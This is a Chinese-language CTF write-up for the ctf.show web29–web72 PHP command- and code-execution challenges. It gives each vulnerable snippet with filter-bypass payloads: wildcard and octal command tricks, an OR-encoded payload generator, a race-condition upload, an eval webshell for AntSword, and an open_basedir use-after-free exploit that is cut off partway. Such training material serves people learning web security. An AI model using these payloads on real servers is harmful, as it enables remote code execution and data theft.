system()
system(string $command, int &$result_code = null): string|false
同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。
用法
<?php
system('命令');
exec()
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行 command 参数所指定的命令,没有回显
用法
<?php
exec('命令');
passthru()
passthru(string $command, int &$result_code = null): ?false
同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。
用法
<?php
passthru('命令');
shell_exec()
shell_exec(string $command): string|false|null
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
用法
<?php
shell_exec('命令');
代码执行
eval()
eval — 把字符串作为PHP代码执行
用法
<?php
eval('echo 1;');
assert()
assert — 断言检测
功能:在 PHP 5 中,assert() 可以将字符串作为 PHP 代码执行。但在 PHP 7 及更高版本中,assert() 的行为被改变,主要用于断言
代码执行用法
<?php
assert('php代码');
题目遇到解法
web29
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
isset 检测变量是否已声明并且其值不为 null,检测到变量声明并且不为空则返回true,否则返回false
$_GET 超全局变量用于接收get请求参数和值
preg_match 用于正则表达式匹配,匹配到返回true,否则返回false
eval 用于把字符串当做php代码执行
漏洞利用点,通过eval执行系统命令
payload:
?c=system('tac *');
//system用于执行系统命令并返回结果回显
//tac将文件中内容倒着读出
//*是通配符,表示匹配所有
web30
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
preg_match("/flag|system|php/i", $c)
#这题正则比上题多过滤了system和php,/i表示无视大小写
#这里不能使用system,还可以使用exec,shell_exec等
payload:
?c=echo`tac *`;
//反撇号等于shell_exec函数,shell_exec是没有回显的需要echo输出
web31
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
正则过滤preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)
这里没有过滤反憋不影响反憋,但这里过滤了空格,用反撇ls有回显,ls$IFS($IFS在linux中会解析为空格)也有回显,ls$IFS/就没有回显了不知道为什么,需另外找方法
payload:
方法一:
?eval($_GET[a]);&a=system('ls');#GET请求
#通过传入一个eval即可绕过第一层eval的正则过滤过滤,eval中的请求可以省略引号
方法二:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
web32
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
正则过滤preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)
基本上命令执行函数能用的只有exec了,当没有括号,php中可以不用括号的有include、include_once、require 、require_once、echo等,但echo需要输出函数执行内容,所以这里只能用文件包含了,过滤的分号可以用?>代替,?>是php代码结束标志,最后一条php代码可以省略分号
include用法有
inclued(包含文件);
include 包含文件;
include$_GET/POST[变量];
上面过滤了空格所以可以用include$_GET/POST[变量];,过滤单引号就用双引号,过滤分号可以用?>代替,?>表示php代码段结束,前一条代码可省略引号
php://filter/read/convert.base64-encode/resource=flag.php,php://filter伪协议的使用
payload:
?c=include$_GET["url"]?>&url=php://filter/read/convert.base64-encode/resource=flag.php
web33
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
正则过滤preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)
跟上一题过滤的差不多,多个双引号而已
方法一:
?c=include$_GET[url]?>&url=php://filter/read/convert.base64-encode/resource=flag.php
方法二:
?c=?><?=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web34
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=?><?=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web35
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[url]?>&url=php://filter/read/convert.base64-encode/resource=flag.php
web36
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[url]?>&url=php://filter/read/convert.base64-encode/resource=flag.php
web37
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
解法
这题变了从eval变为了include,文件包含也是可以执行命令的,通过data://伪协议执行php代码
payload:
?c=data://text/plain,<?php system('tac *')?>
web38
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
解法
比上题多禁用了php,用短标签绕过
payload:
?c=data://text/plain,<?=system('tac *')?>
web39
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
解法
这题强行拼接了php后缀,当?>是php的结束.php最后只会解析为html
payload:
?c=data://text/plain,<?=system('tac *')?>
web40
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解法
正则过滤preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)
一下字符未过滤
! ( ) ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z |
payload:
没有了$证明文件包含传参不能用了,直接文件包含也没有:等符号,但发现过滤的括号有点异常明细就是全角括号,证明英文括号是可以使用的,分号也没有过滤,但没有引号所以只能无参数RCE
方法一
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
方法二
通过cookie获得参数进行命令执行(缺点只能session只能获取数字和字母,只能简单执行ls,cat等命令并且不能有参数,约等于没用)
c=session_start();system(session_id());
PHPSESSID=ls
方法三
?c=eval(next(reset(get_defined_vars())));&1=;system("tac flag.php");
方法四
?c=eval(array_pop(next(get_defined_vars())));
POST传入system("tac%20flag.php");
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
方法五
c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
web41
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
解法
一下字符未过滤
! " # % ' ( ) * , . / : ; < = > ? @ \ _ ` |
留下了逻辑运算符/位运算符|(表示逻辑或)
payload:
POST
c=("%13%08%05%0c%0c%01%05%18%05%03"|"%60%60%60%60%60%5f%60%60%60%60")("%14%01%03%20%02"|"%60%60%60%20%28")
//这里c实际等于("exec")("tac *")
rce或绕过脚本
import re
import urllib
from urllib import parse
import requests
contents = []
for i in range(1,256):
for j in range(1,256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload
# URL = input('url:')
payload = make_payload('shell_exec') + make_payload('tac *')
print(payload)
# response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
# print(response.text)
web42
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
解法
题目分析
system用于执行系统命令,$c是可控
>/dev/null 2>&1
作用:将$c传入命令执行的结果返回空,当我们可以用分号结束命令例如c=ls;,分号在linux中表示一条命令结束
payload:
?c=tac *;
web43
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
解比上一题多过滤分号,用||(表示或,前面执行成功则不会执行后面的命令)绕过
payload:
?c=tac *||
web44
解法同web43
web45
比前面多过滤了空格,${IFS}代替空格即可
payload
?c=tac${IFS}*||
web46
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
没有过滤|,单个|是把前面的结果传给后面处理,||是或判断,前面命令正确,则不会再执行后面的
payload:
方法一:
?c=c\at<fl\ag.php|| (linux中命令加上\命令可以正常执行,但加上\就可以绕过cat之类的字符串绕过,<用于将文件内容传递给命令,即可绕过空格)
方法二:
?c=c\at<fla\g.php%0a(%0aurl解码后是换行符,把>/dev/null 2>&1换到第二行即可正常执行命令)
方法三:
?c=c\at%09fla\g.php||(%09绕过空格,%09是tab)
方法四:
?c=tac<fla\g.php||
web47
解法同web46
web48
解法同上
web49
解法同上
web50
解法同上
web51
payload:
比前面多过滤了tac、0a、09等
?c=t\ac<fla\g.p\hp||
web52
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
解法
这题把<禁了但把$放出来了,可以用${IFS}代替空格
payload:
?c=t\ac<fla\g.p\hp||
web53
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
payload:
?c=t\ac${IFS}fl\ag.php
web54
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
解法
分析题目,发现通过\等字符加在一些命令中间是不能绕过过滤了,但没有过滤?所以flag.php可以用f???????代替
payload:
方法一:使用未过滤的命令读取flag
?c=uniq${IFS}f???????
方法二:
通过?匹配/bin目录下的命令
?c=/bin/?at${IFS}f???????
//执行后右键源代码即可
web55
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
解法
过滤了字母可以通过?匹配/bin/base64命令来读取flag,没有过滤空格、$、引号也可以八进制命令执行
payoad:
方法一:
?c=/???/????64 ????????
方法二:
?c=$'\143\141\164' $'\146\154\141\147\56\160\150\160'
RCE八进制命令执行脚本
<?php
$cmd = 'cat flag.php';
echo '$\'';
for ($i = 0; $i < strlen($cmd); $i++) {
if ($cmd[$i] != ' ')
printf('\%o', ord($cmd[$i]));
else
echo '\' $\'';
}
echo '\'';
web56
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
解法
题目分析
未被过滤的可见字符有: ! # ) * + , - . / : = ? @ [ \ ] ^ _ | } ~ 没有字母和数字,并且给的是命令执行函数system,只能另外找办法,比如上传一个后面利用system来执行
通过上传文件,linux会在/tmp/生成一个临时文件及/tmp/php??????(php后6位随机),如果代码接收上传文件的代码或接收文件上传成功后这个临时文件会立即删除
只需要上传到有命令执行页面的同时执行命令即可执行/tmp/php??????,即在linux还没删除文件的同时执行文件内容(条件竞争)
传入参数/?c=.%20/???/????????[@-[] (.(点)的用法,就是相当于source 可以执行sh命令,/???会匹配3个字符的目录并同时满足后面的?匹配,[@-[]表示所有大写字母,@的ascii是a-1,[是z-1)
上传文件内容,发包不一定100%命令执行成功因为最后一个字符也可能是小写字符
#/bin/sh
cat flag.php
前端文件上传代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="url" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
payload:
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: url
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxUXM7yb9bRJm1wQC
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
------WebKitFormBoundaryxUXM7yb9bRJm1wQC
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/x-sh
#/bin/sh
cat flag.php
------WebKitFormBoundaryxUXM7yb9bRJm1wQC
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryxUXM7yb9bRJm1wQC--
web57
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
解法
题目注释提示了要构造一个36
linux中$(())等于0,取反后为-1,-1+-1等于-2取反后为1,需构造出-37然后取反得到36,-1和-1之间的加号可省略
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
web58
题目代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
解法
这题基本把命令执行函数都禁用了需通过php代码来读取文件
c=var_dump(scandir(__DIR__));//__DIR__当前目录,scandir读取目录文件,var_dump打印变量类型,并输出变量值
c=echo file_get_contents('/etc/passwd');//file_get_contents读取文件内容
c=echo file_get_contents('flag.php');
web59
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
解法
这题file_get_contents()被禁用了
方法一
c=var_dump(scandir(__DIR__));
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php
方法二
蚁剑或哥斯拉链接,密码如下
c=eval($_POST[1]);&1
方法三
c=highlight_file('flag.php');
方法四
c=show_source('flag.php');
方法五
c=include('flag.php');var_dump(get_defined_vars());
方法六
c=rename('flag.php','1.txt');
web60
payload:
c=highlight_file('flag.php');
web61-65
同web60
web66
payload:
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web67
payload:
c=include('/flag.txt');
web68
payload:
c=var_dump(scandir('/'));&c=include('/flag.txt');
web69
payload:
c=var_export(scandir('/'));include('/flag.txt');
web70-71
提前结束php脚本防止回显被替换
payload:
c=var_export(scandir('/'));include('/flag.txt');exit();
web72
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
解法
查看路径
scandir('/')没有权限,使用glob://协议绕过
POST
脚本1,传入POST需去除注释:
c=
$a="glob:///*";#读取根目录下所有文件
if($b = opendir($a)){#打开变量$a存储的文件,确保$a不为空,然后赋值给$b
while(($file = readdir($b))!=false){#遍历
echo "filename:".$file."\n<br>";
}
closedir($b);
}
exit();
脚本二:
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
open_basedir通过uaf脚本绕过
<!-- 该脚本的主要用途是在目标PHP服务器上执行系统命令,
例如读取文件内容、执行任意命令等。通过利用PHP对象注入漏洞,
攻击者可以绕过PHP的安全机制,执行恶意代码。 -->
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
